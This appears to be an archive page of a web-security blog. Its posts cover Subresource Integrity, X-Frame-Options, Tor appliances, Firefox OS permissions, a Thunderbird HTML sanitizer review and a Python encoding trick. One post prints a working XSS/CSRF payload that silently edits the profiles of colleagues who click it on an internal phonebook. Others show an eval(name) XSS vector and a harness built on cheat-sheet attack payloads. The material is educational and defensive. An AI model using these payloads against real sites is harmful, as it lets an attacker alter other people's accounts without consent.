Damals, als Firefox 1.0 herauskam, unterstützten hunderttausende Freiwillige das Spread Firefox-Projekt um eine Werbeanzeige in der New York Times zu kaufen. In deutschland passierte dasselbe, mit dem Namen jedes Unterstützers auf dieser Werbeseite, in der Frankfurter Allgemeinen Zeitung. Hier ist eine text version dieser Anzeige, damit diejenigen die damals dabei waren und ihren Namen widerfinden können.

Die text version wurde mit gewöhnlichen OCR tools erzeugt. Sicherlich haben sich hier einige Fehler eingeschlichen

HTML version zum Suchen, original PDF

English

Back in the days, when Firefox version 1.0 was released hundreds of thousands supporters donated money to the Spread Firefox project in order to buy a big one page ad in the New York Times. The same thing happened in Germany, with the every name of every contributor on a full page advertisement in the Frankfurter Allgemeine Zeitung. Here's a text version of this page, for those who remember the day to find their name again.

I generated the text version using off-the shelf OCR tools. The result surely contains a lot of errors.

HTML with search, original PDF

My thoughts on Tor appliances

2014-10-14T00:00:00+02:00

Anonabox is not a magic bullet!

Yesterday, a lot of mainstream media (e.g., WIRED) started reporting about anonabox, an "an open source embedded networking device designed specifically to run Tor.", to quote their Kickstarter campaign.

For those of you who don't know what Tor is: It's a network run by volunteers that anonymizes your internet traffic. With everyone in the network using someone else's address from time to time, it is becoming harder for an observer (e.g. the websites you browse) to find out who is who.

Advertisements & Social Media kill Anonymity

This, of course only works until you go to a website like Facebook where you basically have to prove that you are you - because you have to login. But I don't want to talk about the behavioral constraints you have to consider when using Tor - their official FAQ as well as many other documents have already addressed this. What I want to talk about is Anonabox: I greatly support the idea of supporting the Tor network and adding as many nodes as possible. I agree that this is a great device to make this easier and hope that it will strengthen the Tor network in terms of bandwidth and diversity. I am quite sure that greater uptake will also help fixing some of the usability problems that come with browsing through Tor: A lot of websites block or discriminate against Tor users by disallowing them to register or post content - mostly because they are scared of abuse. Even though a non-anonymized stranger might possibly do as much damage as a Tor user. More Tor users is good! We also need Tor traffic which does recreational browsing (e.g., looking at animated gifs).

What Anonabox can not do

OK, now that I have gotten this disclaimer out, here's what I do want to emphasize most: Anonabox¹ is not going to change your browsing behavior. You have to remember that whenever you login with something, it is capable of tracking you along the web. This applies mostly to Social Networks which have wide-spread "share this" buttons (e.g., Twitter, Facebook), but may also apply to Advertising Networks as they also have a great visibility into the list of websites you visit, which gives them a lot of information about yourself.

But what's worse, is that your browser is a highly functional, application platform for running whatever code a websites offers you. This code is heavily restricted from accessing your machine², but that still gives the website a great deal of control over your browsing context. And the context is enough to generate a fingerprint of your device that allows a marginally skilled techie to recognize you whenever you come back.

Anonabox¹ is incapable of modifying your browser or its functionality. It also can and should not look into your web traffic to prevent those bad things. Good internet traffic is encrypted traffic and when nobody should be able to look inside, this includes anonabox.

Do not rely on a false sense of Anonymity

If you have to rely on being anonymous, you can not rely on anonabox alone. If you care about anonymity, you must use a browser that has been patched and tamed towards privacy, not functionality. Read the Tor Warnings and use the Tor Browser. This is the best way to stay anonymous with Tor.

This applies to all future and previous incarnation of Tor appliances. But if you like to tinker (and safe some money), you could run the free PORTAL software on that Raspberry Pi which is lying on your desk and waiting for a meaningful use case. ↩↩
Well, a lot of browser exploits have proven this wrong. But let's not get into this for now. ↩

Subresource Integrity

2014-10-05T00:00:00+02:00

This article has been superseded by a more-recent write-up of my presentation from OWASP AppSec EU 2015. Alternatively, you can download the slides or watch the video on YouTube

Some time ago, I complained about the prevalence of CDNs for JavaScript hosting and the trust model that comes with including JS files into your web page: Every script may read and request towards everything that is on your this website and all your other websites. This is because of the Same-Origin Policy.

After that, Brad Hill (co-chair of the W3C Web Application Security Working Group) asked me to help co-edit¹ one of the deliverables for the working group: A possible feature for the web platform to ensure that resources embedded or included in a document (e.g. script files from other origins) have not been tampered with and are indeed the ones the content author intended to use. This upcoming specification is called Subresource Integrity (SRI)² .

The idea is that we include a third party script along side a cryptographic hash of its content. The web browser may then compute the hash on retrieving the file and compare if it's the one it expected to receive. This is how this would look in mark-up:

<script src="https://analytics-r-us.com/track.js"
        integrity="ni:///sha-256;SDfwewFAE...wefjijfE?ct=application/javascript"></script>

While certainly not aesthetically appealing, we are using this ni:// notation because it is already defined in RFC 6920. This mostly saves us time explaining things in the spec and might allow implementations to re-use existing code. The first half of the ni:// URL explains which hashing function to use (i.e., SHA-256) while the second part contains the base64url encoded⁴ digest that SHA-256 produces on the content of the script. The ct bit says explicitly what kind of content we should expect. This defends against content type spoofing attacks.

Does this mean a script update breaks my web page?

Your website does not have to break when the script file changes. The previous example given does indeed block a script once the file changes. And this may make your website unusable. But you can also provide a fallback mechanism: you simply say that the script should be loaded from a CDN that is fast and likely cached within the browser. But it must match the hash. If this is non canonical location does not work, the browser can still load the file from your own domain - albeit a little slower:

<script src="http://example.com/script.js"
        noncanonical-src="http://cdn.example.com/script.js"
        integrity="ni:///sha-256;jsdfhiuwergn...vaaetgoifq?ct=application/javascript"></script>

See how we changed the attributes? Now src points to the file that you host yourself. And the CDN is mentioned as a non canonical source. This will make the website work for every case. But you still get the speed bonus from the CDN.

Content addressable storage: More than a CSP Bypass?

A useful feature that piggy-backs on SRI might be content-addressable storage: The idea is, once you can identify a resource by its hash, you could save yourself the trouble and asking the server for it, if it's already cached from some other domain.

The problem that comes with this idea is cache poisoning: The client still has to find out if the server really hosts this file. Otherwise an attacker could trick your browser into believing that you host files which you don't. Content injection (XSS) may then use a previously stored hash so that it looks like you are hosting the evil JavaScript payload that the browser has previously seen on evil.com. This nifty attack was raised by Michal Zalewski on the webappsec w3c mailing list. My co-worker Mark Goodwin suggests that we may allow this for hashed files that are already allowed through hashes in CSP 2 script-src hashes.

The foul fruit called integrity-checked active mixed content

Another idea that has been raised on the mailing list was mixed content: Modern browsers currently block active mixed content, i.e., plain-HTTP scripts on HTTPS websites. Somebody suggested we might disable this blocking if SRI is used to make sure that the resource has not been tampered with. While this is a reasonable argument for the functionality of the script, it leaves out the confidentiality aspects: HTTPS is also about confidentiality, and I contend we should continue blocking active mixed content, even if it contains an SRI integrity attribute.

What I do like is that this suggestion looks at JavaScript as a means to deliver software. And I hope that SRI can play a part in the story of making software (i.e., script) delivery on the web a bit more secure.

SRI helps WebCrypto

The story with WebCrypto could really improve through SRI: Although WebCrypto is considered harmful by Matasano Security, I think SRI could fix some of the things that are wrong with webcrypto: The reality is, more and more applications are implemented as web applications. Firefox OS has taught me that backend-less, JavaScript-only applications can power a full phone operating system. And these systems really need crypto. The question is just how we do it: It is much safer to use something provided by the platform than using pure JavaScript Cryptography³. I also think that a tiny web page may bootstrap an application and verify that trusted code has indeed not been tampered with, by including all subresources with integrity attributes. This tiny web page may even be stored locally as a safe entry point into websites that use WebCrypto.

Site-wide Subresource Integrity with CSP

Subresource Integrity plans to extend CSP to include an integrity-policy directive. This would allow you to apply integrity checks for all resources on your site. And this also means that a failed integrity check will be reported just like CSP violations. You will then be able to enforce and verify integrity for your whole web page.

Implementation Status

Subresource Integrity is not in your browser. Google Chrome has an implementation that works only for scripts and only on secure origins (e.g. HTTPS websites). A similarly reduced implementation for Firefox is currently planned. Those attempts also exclude integrity-policy in CSP and violation reports. In the long run we still want integrity checks for all kinds of subresources (e.g., images, styles, iframes).

The spec is joint work with some brilliant people: Devdatta Akhawe from UC Berkeley and Joel Weinberger and Mike West from Google. ↩
It is currently in an early state, that is called "First Public Working Draft. And by the way: The worst thing you can do to your inbox is have your email address published on a W3C website. ↩
Thinking about timing attacks, for example. ↩
The url-safe Base64 encoding is explained in RFC4648: The Base16, Base32, and Base64 Data Encodings. ↩

Revoke App Permissions on Firefox OS

2014-08-24T00:00:00+02:00

On Firefox OS (FxOS), every app has its own set of permissions. The operating system makes sure that an app may only do things that are requested in the app manifest. Some of these permissions are always set to Ask. Sometimes just because the web platform is built this way. A common example is the geolocation permission:

There's also the Alarms API, for example. It allows applications to get opened at a specific time. There is nothing inherently bad with precise alarm functions that honor timezones (or not). But it is hard to know what the App will do with it. This gets exceedingly difficult to explain to users, especially when it comes to technical terms and features like the tcp-socket permission.

The security model of Firefox OS is based on contextual prompts. So for APIs that are understandable and human meaningful like geolocation, using the camera or recording audio the OS will prompt the user. You can save & remember these choices and later revisit them in the Settings app under "App Permissions". You may set them to Allow, Prompt, or Deny.

For simplicity's sake, all permissions default to something that the inventor's of these APIs deemed safe. For tcp-sockets and alarms this is Allow. For geolocation it's Prompt. If you want to know more about the default permission settings, the App Manager can show you how the table looks like for your phone. Here's an excerpt generated on my Flame device on FxOS 2.0:

But what if you are tech savvy? What if you do want to revoke or be asked for permissions that are a bit hard to explain?

To bridge this gap and empower tech savvy & paranoid privacy enthusiasts, I have created a developer settings that shows a verbose app permissions list. It enhances the normal App Permissions panel of the Settings app.

Starting with Firefox 2.1, you may activate the developer settings and tick the checkbox near "Verbose App Permissions". The typical list in the Settings app will then show you all the permissions an app has and allows you to set them to Allow, Prompt or Deny. This feature, however, only targets the Privileged apps. These are apps that come through the Marketplace. For now, we can not revoke permissions for the built-in apps (the permission set() call throws).

Beware that you may break the app that you wish to contain - just because it is not designed to cope with failure. Some APIs are designed with an asynchronous request/response pattern. These will likely work fine and not throw an unrecoverable exception. But it still means that the developer has had to set an error handler, or the app might be indefinitely stuck in a waiting state.

(Self) XSS at Mozilla's internal Phonebook

2014-05-23T00:00:00+02:00

This is a short summary about a goofy XSS/CSRF exploit on an internal web page at Mozilla.

A few weeks ago I discovered that our "phonebook" supports a limited wiki-syntax in the profile descriptions (i.e. [link text http://example.com]). Despite proper sanitizing to forbid all markup injections into HTML tags and attributes it allowed linking to javascript URLs. Liking the rich capabilities that come with JavaScript, I naturally had to insert some script into my profile. So I started with a small script that changes the background color randomly. Like this:

Click me, I dare you

Source:

void(setInterval("document.body.style.backgroundColor='#'+(Math.random()*10e16).toString(16).substr(0,6)",500))

What it does? Well, let's start simple. setInterval(…,500) runs the code supplied in the first argument every 500ms. The code itself is an assignment to the document's background color. So we change it quite often. The rest is a quick way to generate a random six digits hex string, i.e. an RGB color value: Math.random() gives a float with a lot of random digits after the floating point. Multiplying by 10e16 (that is a 10 followed by 16 zeros) makes it a long integer without decimals. toString(16) transforms it into a hex string and substr cuts after six digits. Et violà! void makes sure the code doesn't have a return value, which means that the browser stays on the current web page. I have manually shortened the code to work without spaces, so it does not break the wiki-syntax.

Well that was the first revision. I left it for a while and I guess people clicked on it. I don't know how many, but surely somebody found it. That was part one. I came back to this a few weeks later and had to realize that changing the background color is quite boring. What else can we do? Right. We can try to change other people's profiles.

This is where the fun starts:¹

javascript:i=document.createElement("iframe");i.src="edit.php";i.style.display="none";document.body.appendChild(i);void(setTimeout('f=(i.contentDocument.forms[0\x5D);f[atob("bmFtZVtd")\x5D.value+="\x20\uD83D\uDC35";f.submit()',20e2))

Again, this link came with the same "I dare you" text. Let's dissect the source code. First we create an invisible iframe that loads the "Edit Profile" page.

i=document.createElement("iframe");
i.src="edit.php";
i.style.display="none";
document.body.appendChild(i);

Now let's fill out the form and submit. The frame takes some time to load, so we will prepare a piece of source code in a string and defer execution with setTimeout: The code finds the form in the iframe, DOM navigation is quite easy since the input fields have proper name attributes, which exposes them to JavaScript as attributes of the form element. The source code uses atob, \x5D and \x20 so we don't break wiki-syntax. The escape sequence \uD83D\uDC35 is the unicode monkey face 🐵.

payload = 'f=(i.contentDocument.forms[0\x5D);f[atob("bmFtZVtd")\x5D.value+="\x20\uD83D\uDC35";f.submit()'

Once the payload is prepared we just execute it after a certain delay:

void(setTimeout(payload,20e2))

So to recap: If you click this link you will add a monkey face to your name in the background, but it's quite subtle.

So let's search for the monkey face in the phonebook:

At least 12 people have a monkey in their profile 🐵²

This isn't strictly a self-xss as discussed in these three very interesting blog posts (1, 2, 3) but I'd argue that the average Mozillian should be careful enough not to click links that start with javascript: ;)

I have modified a few bits so the exploit doesn't properly apply to the phonebook. Script kiddie protection. ↩
I swear it was only 11 when I started writing this blog post. Also, modulo a false positive: One person had a monkey in their description before I started this. ↩

Tales of Python's Encoding

2014-03-17T00:00:00+01:00

This article was also published in the third issue of the International Journal of PoC || GTFO. This is my submission after editorial "grooming" and "[dressing] in the best Sunday clothes of proper church English" :-).

Many beginners of Python have suffered at the hand of the almighty SyntaxError. One of the less frequently seen, yet still not uncommon instances is something like the following, which appears when Unicode or other non-ASCII characters are used in a Python script.

SyntaxError: Non-ASCII character ... in ..., but no encoding declared;
see http://www.python.org/peps/pep-0263.html for details

The common solution to this error is to place this magic comment as the first or second line of your Python script. This tells the interpreter that the script is written in UTF8, so that it can properly parse the file.

# encoding: utf-8

I have stumbled upon the following hack many times, but I have yet to see a complete write-up in our circles. It saddens me that I can’t correctly attribute this trick to a specific neighbor, as I have forgotten who originally introduced me to this hackery. But hackery it is.

The background

Each October, the neighborly FluxFingers team hosts hack.lu’s CTF competition in Luxembourg. Just last year, I created a tiny challenge for this CTF that consists of a single file called “packed” which was supposed to contain some juicy data. As with every decent CTF task, it has been written up on a few blogs. To my distress, none of those summaries contains the full solution. The challenge was in identifying the hidden content of the file, of which there were three. Using the liberal interpretation of the PDF format¹, one could place a document at the end of a Python script, enclosed in multi-line string quotes². The Python script itself was surrounded by weird unprintable characters that make rendering in command line tools like less or cat rather unenjoyable. What most people identified was an encoding hint.

00000a0: 0c0c 0c0c 0c0c 0c0c 2364 6973 6162 6c65  ........#disable
00000b0: 642d 656e 636f 6469 6e67 3a09 5f72 6f74  d-encoding:._rot
...
0000180: 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f 5f5f  ________________
0000190: 3133 037c 1716 0803 2010 1403 1e1b 1511  13.|.... .......

Despite the unprintables, the long range of underscores didn’t really fend off any serious adventurer. The following content therefore had to be rot13 decoded. The rest of the challenge made up a typical crackme. Hoping that the reader is entertained by a puzzle like this, the remaining parts of that crackme will be left as an exercise. The real trick was sadly never discovered by any participant of the CTF. The file itself was not a PDF that contained a Python script, but a python script that contained a PDF. The whole file is actually executable with your python interpreter! Due to this hideous encoding hint, which is better known as a magic comment,³ the python interpreter will fetch the codec’s name using a quite liberal regex to accept typical editor settings, such as “vim: set fileencoding=foo” or “-*- coding: foo”. With this codec name, the interpreter will now import a python file with the matching name⁴ and use it to modify the existing code on the fly.

The PoC

Recognizing that the cevag is the Rot13 encoding of Python’s print command, it’s easy to test this strange behavior.

% cat poc.py
#! /usr/bin/python
#encoding: rot13
cevag ’Hello World’
% ./poc.py
Hello World
%

Caveats

Sadly, this only works in Python versions 2.X, starting with 2.5. My current test with Python 3.3 yields first an unknown encoding error (the “rot13” alias has sadly been removed, so that only “rot-13” and “rot_13” could work). But Python 3 also distinguishes strings from bytearrays, which leads to type errors when trying this PoC in general. Perhaps rot_13.py in the python distribution itself might be broken? There are numerous other formats to be found in the encodings directory, such as ZIP, BZip2 and Base64, but I’ve been unable to make them work. Most lead to padding and similar errors, but perhaps a clever reader can make them work. And with this, I close the chapter of Python encoding stories:

TGSB

As seems to be mentioned in every PoC||GTFO issue, the header doesn’t need to appear exactly at the file’s beginning, but within the first 1,024 bytes. ↩
"""This is a multiline Python string. It has three quotes.""" ↩
See Python PEP 0263, Defining Python Source Code Encodings ↩
See /usr/lib/python2.7/encoding/__init__.py near line 99 ↩

On the X-Frame-Options Security Header

2013-12-12T00:00:00+01:00

This blog post about X-Frame-Options was originally published on the Mozilla Security Blog

A few weeks ago, Mario Heiderich and I published a white paper about the X-Frame-Options security header. In this blog post, I want to summarize the key arguments for settings this security header in your web application.

X-Frame-Options is an optional HTTP response header that was introduced in 2008 and found its first implementation in Internet Explorer 8. Setting this header in your web application defines if it works within a frame element (e.g., iframe). The syntax for this header provides three options, ALLOW-FROM, DENY or SAMEORIGIN. Not sending this header implies allowing frames in general. ALLOW-FROM, however, allows whitelisting a specific origin. The opposite is, of course, DENY which means that no website is ever allowed to display your website in a frame. A common middle ground is to send SAMEORIGIN. This means that only websites of the same origin may frame it.

This blog post will highlight some attacks than can be thwarted by forbidding the framing of your document. First of all, Clickjacking. This term has gained major attention in 2008 and includes a multitude of techniques in which an evil web page can secretly include yours in a frame. But the author of this evil website will make your website transparent and present buttons on top of it. Anyone visiting this evil page will then click on something seemingly unrelated, which will actually result in mouse clicks in your web application.

A wide class of attacks on other websites leverage missing security features in the browser. Most modern browsers provide hardened security mechanisms that may easily thwart problems with content injections. The problem lies, as so often, in backwards compatibility. The most recent browser versions are obviously more secure than the previous ones. But when somebody frames your website, they can tell it to run in a compatibility mode. This feature only applies to Internet Explorer, but it will bring back the vintage rendering algorithms from IE7 (2006). In Internet Explorer, the document mode is inherited from the top window to all frames. If the evil websites runs in IE7 compatibility mode, then so does yours! This is an example of how IE7 compatibility can be triggered in any website:

<meta http-equiv="X-UA-Compatible" content="IE=7" />

If your website would not allow to be framed, your IE users were not at risk.

Another technique for possible attackers comes with window.name. This attribute of your browsing window (a tab, a popup and a frame are all windows in JavaScript's sense) can be set by others and you cannot prevent it. The implications of this are manifold, but just for the sake of Cross-Site-Scripting (XSS) attacks it may make things for an attacker much easier. Sometimes, when an attacker is able to inject and execute scripts on your web page, he might be hindered by a length restriction. Say, for example, your website does not allow names that exceed 80 characters. Or messages that must not exceed 140. The window.name property can help bypassing these restriction in a very easy way. The attacker can just frame your website and give it a name of his liking, by supplying it in the frame's name attribute. The JavaScript he will then execute can be as short as <svg/onload=eval(name)>, which means that it will execute the JavaScript specified in the name attribute of the frame element.

These and many other attacks are possible if you allow your web page to be displayed in a frame. Just recently, Isaac Dawson from Veracode has published a report about security headers on the top 1 million websites, which shows, that only 30,000 of them currently supply this header. However, the fact that many other sites are vulnerable to these sort of attacks is not a good reason to leave your website unprotected. You can easily address many security problems by just adding this simple header to your web application right away: If you're using Django, check out the XFrameOptionsMiddleware. For NodeJS applications, you can use the helmet library to add security headers. If you want to set this header directly from within Apache or nginx, just take a look at the X-Frame-Options article on MDN.

html2dom

2013-09-24T00:00:00+02:00

I originally blogged about html2dom on the Mozilla Security Blog

Having spent significant time to review the source code of some Firefox OS core apps, I noticed that a lot of developers like to use innerHTML (or insertAdjacentHTML). It is indeed a useful API to insert HTML from a given string without hand-crafting objects for each and every node you want to insert into the DOM. The dilemma begins however, when this is not a hardcoded string but something which is constructed dynamically. If the string contains user input (or something from a malicious third-party - be it app or website), it may as well insert and change application logic (Cross-Site Scripting): The typical example would be a <script> tag that runs code on the attacker's behalf and reads, modifies or forwards the current content to a third-party. CSP, which we use in Firefox OS, can only mitigate some of these attacks, but certainly not all.

Using innerHTML is bad (Hint: DOM XSS)

What's also frustrating about these pieces of code is that analyzing it requires you to manually trace every function call and variable back to its definition to see whether it is indeed tainted by user input.

With code changing frequently those reviews don't really scale. One possible approach is to avoid using innerHTML for good. Even though this idea sounds a bit naive, I have dived into the world of automated HTML parsing and code generation to see how feasible it is.

Enter html2dom

For the sake of experimentation (and solving this neatly self-contained problem), I have created html2dom. html2dom is a tiny library that accepts a HTML string and returns alternative JavaScript source code. Example: <p id="greeting">Hello <b>World</b></p>

Will yield this (as a string).

var docFragment = document.createDocumentFragment();
// this fragment contains all DOM nodes
var greeting = document.createElement('P');
greeting.setAttribute("id", "greeting");
docFragment.appendChild(greeting);
var text = document.createTextNode("Hello ");
greeting.appendChild(text);
var b = document.createElement('B');
greeting.appendChild(b);
var text_0 = document.createTextNode("World");
b.appendChild(text_0);

As you can see, html2dom tries to use meaningful variable names to make the code readable. If you want, you can try the demo here. Now we could also just replace the "World" string with a JavaScript variable. It cannot do any harm as it is always rendered as text.

When it comes to HTML parsers, you also don't want to write your own.

Luckily, there are numerous very useful APIs which helped making the development of html2dom fairly easy. First there is the DOMParser API which took care about all HTML parsing. Using the DOM tree output, I could just iterate over all nodes and their children to emit a specific piece of JavaScript depending on its type (e.g., HTML or Text). For this, the nodeIterator turned out really valuable.

I have also written a few unit tests, so if you want to start messing with my code, I suggest you start by checking them out right away.

Known Bugs & Security

This tool doesn't really save you from all of your troubles. But if you can, make sure that the user input is always somewhere in a text node, then html2dom can prevent you from a great deal of harm. Give it a try!

On the horizon

I have also been looking at attempts to rewrite potentially dangerous JavaScript automatically. This is at an early stage and still experimental but you can look at a prototype here

Security Review: HTML sanitizer in Thunderbird

2013-07-22T00:00:00+02:00

I spent a few days working on a security review for Thunderbird's HTML sanitizer. Thunderbird has three presets for viewing mail: Original HTML, Simple HTML, and Plain Text. No matter which preset the user prefers, emails should not execute JavaScript. And this is where the HTML sanitizer joins our party.

This security review was discussed in one of my first weeks at Mozilla and though being a very interesting topic, it soon occured to me that I might have bitten off more than I could chew. So the security review got stuck in my queue and I finally dared to take a stab at it months later. (Thanks to those fellow Mozillians who helped me getting started!)

The key lesson about HTML sanitizers is: Don't even consider writing your own.

So without further ado, I started collecting bits and pieces together. First I required creating a recent build of Thunderbird. Then I looked into XPCShell tests (unit tests using Mozilla's privileged JavaScript libraries) and the nsIParserUtils interface. My next step was writing a basic sanitizer call, and it turned out comparably easy:

var ParserUtils =  Cc["@mozilla.org/parserutils;1"].getService(Ci.nsIParserUtils);
var sanitizeFlags = ParserUtils.SanitizerCidEmbedsOnly|ParserUtils.SanitizerDropForms|ParserUtils.SanitizerDropNonCSSPresentation;
var output = ParserUtils.sanitize("XXX HTML here", sanitizeFlags);

With this prototype, I could easily loop around a dataset of HTML vectors. For this I chose the vectors from the html5 security cheat sheet and RSnake's old XSS cheat sheet (thank you guys!)

Thankfully the html5 security cheat sheet has its attacks in a JSON file. Extracting them was as easy as taking this dataset and joining the vectors with the file that contains the actual attack payload, (i.e., JavaScript alerts and other triggers in various encodings). The XPCShell comes with a load() function which makes it very easy to include these JSON files.

The full test then looks a bit like this:

var Ci = Components.interfaces;
var Cc = Components.classes;

// gives us an items object:
load("html5sec_items.js");
// possible payloads for within those vectors (items[x].data)
load("html5sec_payloads.js");

// from html5sec.org's import.js:
for (var item in items) {
// replace the payload templates
  for (var payload in payloads) {
    var regex = new RegExp('%' + payload + '%', 'gm');
    items[item].data = items[item].data.replace(regex, payloads[payload]);
    if (items[item].attachment && items[item].attachment.raw) {
      items[item].attachment.raw = items[item].attachment.raw.replace(regex, payloads[payload]);
    }
  }
}
// initialize parser object
var ParserUtils =  Cc["@mozilla.org/parserutils;1"].getService(Ci.nsIParserUtils);
var sanitizeFlags = ParserUtils.SanitizerCidEmbedsOnly|ParserUtils.SanitizerDropForms|ParserUtils.SanitizerDropNonCSSPresentation;

for (var item in items) {
  // sanitize vector
  var out = ParserUtils.sanitize(items[item].data, sanitizeFlags);
  items[item].sanitized = out;
}

// results for html5sec cheat sheet
var mini_items = items.map(function(e) { return {data:e.data, sanitized:e.sanitized}; });

load("xss_rsnake.js"); // array of rsnake xss cheat sheet entries
rsnake_results = [];
for (var i in xss_rsnake) {
  var out = ParserUtils.sanitize(xss_rsnake[i], sanitizeFlags);
  rsnake_results.push({"data": xss_rsnake[i], "sanitized": out});
}
collected_results = mini_items.concat(rsnake_results);
dump(JSON.stringify(collected_results)); // full output as JSON

// html-strings to stdout:
for (var i of collected_results) {
  dump(i.sanitized);
}

After sanitizing all of these attack vectors, I had to review the results. Since this is my first dive into XPCShell tests, I didn't dare to hook all the logic behind script parsing, image loading, event handler registration and so forth. Instead I reviewed the sanitized output by hand (a JSON capable editor helps a lot). After that I also put the combined output into a single HTML file and opened it in the browser. The Firefox Developer Console helped me confirm that no resources were loaded and no scripts executed.

This means that the sanitizer successfully stripped all the scripts tags, self-submitting forms and event handlers: Security Review done!

For convenience, I have uploaded my test results as a JSON file. It is an array of objects in the format {"data": "...", "sanitized": "..."}.

Week 29 2013

2013-07-21T00:00:00+02:00

In our Security Disaster of the Week, H. Marco and Ismael Ripoll found out that all applications statically linked and compiled via glibc since 2006 have their pointers protected by being XORed with zero. Exploit mitigation at its finest.

My favorite type of browser vulnerability remains the good old Same-Origin Policy (SOP) bypass: Usually the SOP enforces a virtual boundary in which web sites are allowed to include content from other domains (scripts, displaying images) but prevented from accessing the actual content. If the SOP is bypassed, your gmail inbox leaks. A good example is Armin Razmdjou's finding: Attackers can abuse a playlist API in the Windows Media Player browser plugin to read contents from arbitrary web pages. Specifying a URL within the same origin that redirects to the interesting site will satisfy WMP's SOP. Reading the playlist's content then reveals the HTML source code. Tada!

Zane Lackey and Omar Ahmed of the Etsy Security Team analysed SSL traffic to see which CAs are actually required in their day to day business. Their data could be used to reduce the set of trusted CAs to a minimum.

Matt Wobensmith of Mozilla's QA started submitting code to the Content Security Policy (CSP) test suite for the W3C Web Application Security Working Group, Thanks!

The First Post

2013-07-16T00:00:00+02:00

This is the first post of hopefully many. This blog will share recent events within the security community and Mozilla in general. My posts will be short digests, bundling old and new gossip in a short, weekly write-up. Naturally, some of the work presented is not actually done by me. I'm just the messenger :)

Update: I have moved away from the weekly digests format.

Frederik Braun

How Firefox gives special permissions to some domains

Examine Firefox Inter-Process Communication using JavaScript in 2023

Multi-Process Architecture Now and Then

JSActors

Message Managers

Inspecting, Debugging, and Simulating JavaScript IPC

Revisiting Previous Security Issues

Next Steps

Origins, Sites and other Terminologies

The Same-Origin Policy

1) DOM Access

2) HTTP Requests

Site, Registerable Domain and Public Suffix

Secure Contexts

Cross-Origin Isolation

What else?

Finding and Fixing DOM-based XSS with Static Analysis

Background: Real world example of DOM-based XSS

Linting and Static Analysis

Caveats

How Static Analysis works

Evaluation & Integration

Conclusion: You can fix DOM-XSS

DOM Clobbering

Motivation

Background

DOM Clobbering Attacks

Prevention

Neue Methoden für Cross-Origin Isolation: Resource, Opener & Embedding Policies mit COOP, COEP, CORP und CORB

Hintergrund: CORS & Same-Origin Policy

Probleme die Same-Origin Policy und CORS nicht lösen

XSLeaks

Spectre

Zusammenfassend: Sicherheitslücken vermeiden, Zugriff zu SharedArrayBuffer wieder erlangen:

Neue Methoden für Cross-Origin Isolation

Cross-Origin-Opener-Policy (COOP)

Cross-Origin-Embedder-Policy (COEP)

COOP + COEP = crossOriginIsolated

CORP

CORB bzw. ORB

Ausblick

Reference Sheet for Principals in Mozilla Code

Principals as a level of privilege

Principals to be considered during security checks

Hardening Firefox against Injection Attacks – The Technical Details

Background on Privilege Separation in Firefox

Securing about: pages

Restricting Loads in Privileged Contexts

Restricting Eval in System Privileged Contexts

Restricting access through X-Ray Vision

Going Forward

Understanding Web Security Checks in Firefox (Part 1)

Background on Web Security Checks

The Security Contexts in Firefox

The Loading Life-Cycle in Firefox

Enforcing Web Security Checks in Firefox

An illustrative example of a Web Security Check

Going Forward

Help Test Firefox's built-in HTML Sanitizer to protect against UXSS bugs

How the Sanitizer works

How and where to test

Sanitizer runs in all privileged pages

Using Developer Tools to emulate a vulnerability

Finding an actual XSS vulnerability

Summary

Remote Code Execution in Firefox beyond memory corruptions

Abstract:

Prologue

Mapping the attack surface

Let's start with search and grep

JavaScript Parsing - Abstract Syntax Trees. ESLint to the rescue!

Discovered Vulnerabilities

A first bug appears

Writing the exploit

A Dark Shadow

Hope on the horizon

Closing credits and Acknowledgements

XSS in The Digital #ClimateStrike Widget

Chrome switching the XSSAuditor to filter mode re-enables old attack

COOP + COEP = `crossOriginIsolated`

Let's start with search and `grep`

Computing the `integrity` value

What is this `crossorigin` attribute?